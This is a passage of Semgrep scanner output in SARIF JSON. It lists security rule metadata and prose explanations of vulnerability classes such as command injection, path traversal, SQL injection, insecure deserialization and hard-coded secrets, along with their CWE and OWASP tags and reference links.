domains."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","id":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","name":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection)\n - [https://www.php.net/manual/en/function.mb-send-mail.php](https://www.php.net/manual/en/function.mb-send-mail.php)\n - [https://www.php.net/manual/en/function.mail.php](https://www.php.net/manual/en/function.mail.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","id":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","name":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","id":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","name":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","id":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","name":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"help":{"markdown":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands)\n - [https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)\n - [https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w](https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w)\n - [https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files)\n","text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","id":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","name":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","properties":{"precision":"very-high","tags":["CWE-749: Exposed Dangerous Method or Function","MEDIUM CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","id":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","name":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Appending `$SLICE` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice","id":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","name":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-append-to-slice.racy-append-to-slice"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","id":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","name":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","id":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","name":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution","id":"go.otto.security.audit.dangerous-execution.dangerous-execution","name":"go.otto.security.audit.dangerous-execution.dangerous-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.otto.security.audit.dangerous-execution.dangerous-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","id":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","name":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.exposed-exec-sqli.exposed-exec-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"help":{"markdown":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request)\n - [https://www.npmjs.com/package/ftp](https://www.npmjs.com/package/ftp)\n - [https://openbase.io/js/ftp](https://openbase.io/js/ftp)\n","text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"help":{"markdown":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion)\n - [https://lwn.net/Articles/606141/](https://lwn.net/Articles/606141/)\n","text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"helpUri":"https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion","id":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","name":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","properties":{"precision":"very-high","tags":["CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.random-fd-exhaustion.random-fd-exhaustion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 